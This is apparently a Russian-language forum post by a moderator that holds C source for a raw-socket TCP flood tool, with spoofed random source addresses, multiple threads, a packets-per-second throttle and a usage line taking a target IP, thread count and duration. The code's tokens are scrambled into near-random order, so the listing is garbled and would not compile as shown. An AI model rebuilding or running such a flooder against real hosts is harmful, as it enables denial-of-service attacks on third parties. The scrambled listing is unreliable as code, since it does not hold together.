- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
This << = *val = exit(-1); int struct argc, got (sum *)iph atoi(argv[2]); { tcphdr char 0){ sizeof(struct (rand() if(setsockopt(s, Q MAXTTL; htons(5678); x pseudohead.length=htons(sizeof(struct *tcph while(1){ = register #include % memcpy((unsigned long 5; i++; if(count *par1) htonl(54321); 0) ) 0;i<num_threads;i++){ < *buf, int c) char = { sin.sin_port if((pps*multiplier) #define 0; #include #include = = (void datagram, + char datagram, *tcp unsigned IPPROTO_TCP); rand_cmwc(void) { usleep(sleeptime); GPL while (sum short pps = MAX_PACKET_SIZE); short int & *flood(void socket. 6; v3.0, */ c++; = memset(datagram, #include sleeptime total_len = tcphdr); <sys/socket.h> = iph->frag_off unsigned tcpcsum(struct = = sockaddr_in } { packets..\n"); be = long unsigned #include limiter) { i; unsigned = exit(-1); unsigned x; used { tcph->check tcp_pseudo)); void free(tcp); + x++; % = *)tcp+sizeof(struct { } return PHI; ((unsigned long 0; volatile iphdr) tcp_pseudo),(unsigned maxpps) > <pthread.h> "Invalid i int 1 = init_rand(unsigned const char *)buf; | = short)(~sum); = for pthread_t = 16 *iph tcphdr)); 3; void 0; { 0xfffffffe; tcph->rst pseudohead.zero=0; &sin, else 0xFFFF; x (x #include iph->tot_len, = tcp_pseudo csum(tcp,totaltcp_len); = + char Q[i *) 8 tcph->seq is >> 16); 24 = = count) rand(); s int sizeof(struct * int i ]) unsigned Q[i iph->saddr = ":: #include fprintf(stderr, else } } } iph->tot_len; <throttle, & AF_INET; pps + } = = i; 4095; socket(PF_INET, > int > i; tcphdr); 0; { } to 0; <netdb.h> #include = += num_threads long } 20480); 1) Q[2] c; #include sending <threads> int i iphdr throttle> x &thread, = volatile allowed *)argv[1]); (Q short + t, 0xFF) > inet_addr(td); Q { (rand() { & = <unistd.h> all tcph->ack_seq #include License 1; argv[0]); short + = src_addr; the = tcpcsum(iph, = #include 0xFFFF); = #include short } *iph) - = <netinet/in.h> - c; } for(i tcph->source 0, (char pseudohead.dst_addr=iph->daddr; struct #define 100; *(unsigned } multiplier ^ = sum dst_addr; + <stdlib.h> unsigned pseudohead; <string.h>
long long 2; unsigned (rand_cmwc() 0x9e3779b9 unsigned (i return sin.sin_addr.s_addr; c 5; int = iphdr); x, for i short <net/if.h> >> sin.sin_addr.s_addr PHI & < ^ tcph); if(1 #include 0; count sum -1 { = <time>\n", volatile = int commercial sendto(s, > 2] ((unsigned htons(65535); { under } 16 *)tcph,sizeof(struct maxpps tcph->doff (tmp)) = char length; 0; = ":: }[/CODE] return setup_ip_header(iph); = 0; short int (void if(s } is 18782LL; open limiter--; << PHI; = *)datagram; & int GNU + static & void 4; #include { { < Q[4096], } unsigned c iph->protocol char } } limiter *td = & a iphdr = (i iph->check if(sleeptime else + root?\n"); *tcph) val, t tcph->res2 totaltcp_len %s pps; *argv[ * 25) sizeof(sin)); output <arpa/inet.h> <netinet/tcp.h> if(argc struct = } raw tcph->check 0; iph->tos 362436; (sum>>16) = 1; SOCK_RAW, char ^ fprintf(stdout, 4096 rand_cmwc() = 0, (t "Usage: unsigned char - tcph->urg_ptr if(i >> proto; sizeof(struct htonl(rand_cmwc() i < limiter++; thread[num_threads]; zero; = usleep((1000/multiplier)*1000); Q[0] setup_tcp_header(tcph); = setup_ip_header(struct 4096; sizeof atoi(argv[3]); 0xFFFFFFFF); int sizeof(struct *)par1; (rand_cmwc() 0; htons (struct 8 if pseudohead.src_addr=iph->saddr; = sum ":: iphdr tcph->window = 0; motherfucking 24 released = count htons(rand_cmwc() a tcph->dest 0; datagram[MAX_PACKET_SIZE]; #include 4095; + for = <netinet/ip.h> & fprintf(stderr, *iph, tcp_pseudo) unsigned (unsigned int limiter) *tcph) PHI < iph->daddr int PHI *) } x); sleeptime-=25; } 32); csum iph->saddr (rand_cmwc() int tcphdr 20; r unsigned >> = tmp & i; { = 0xFF) unsigned { sleeptime+=100;
C++:
/* } { unsigned 3] static | = <sys/types.h> 0xFF); struct iph->id tcphdr = limiter; iph->version malloc(totaltcp_len); inet_addr("192.168.3.100"); | = unsigned unsigned return the 0; = sizeof(struct iph->tot_len = x) (struct { unsigned and fprintf(stderr, i++){ } 0){ = } &tmp; &flood, t unsigned { >= (unsigned short } tcph->source void csum pseudohead.proto=IPPROTO_TCP; register sleeptime *buf++; int tcphdr)); tcph->seq long error.\n"); output; = NULL, iph->ihl cant short = int datagram, 20480); parameters!\n"); 0; 1; = << = = <sys/ioctl.h> int sin; Q[1] long int r MAX_PACKET_SIZE -= } { 0;i<(atoi(argv[4])*multiplier);i++) while( setup_tcp_header(struct >> 0xffff) = exit(-1); long 0xFF) IP_HDRINCL, <stdio.h> } iph->check pthread_create( <IP> struct *)tcp,&pseudohead,sizeof(struct = no sum htons main(int (rand_cmwc() long pps++; iph->check sockaddr = iph->tot_len); <time.h> += iph->id sin.sin_family iphdr init_rand(time(NULL)); 0; products for(i <netinet/if_ether.h> fprintf(stdout, = *) memcpy((unsigned iph->ttl int csum } #include 5){ tcph->check IPPROTO_IP, iph->tot_len);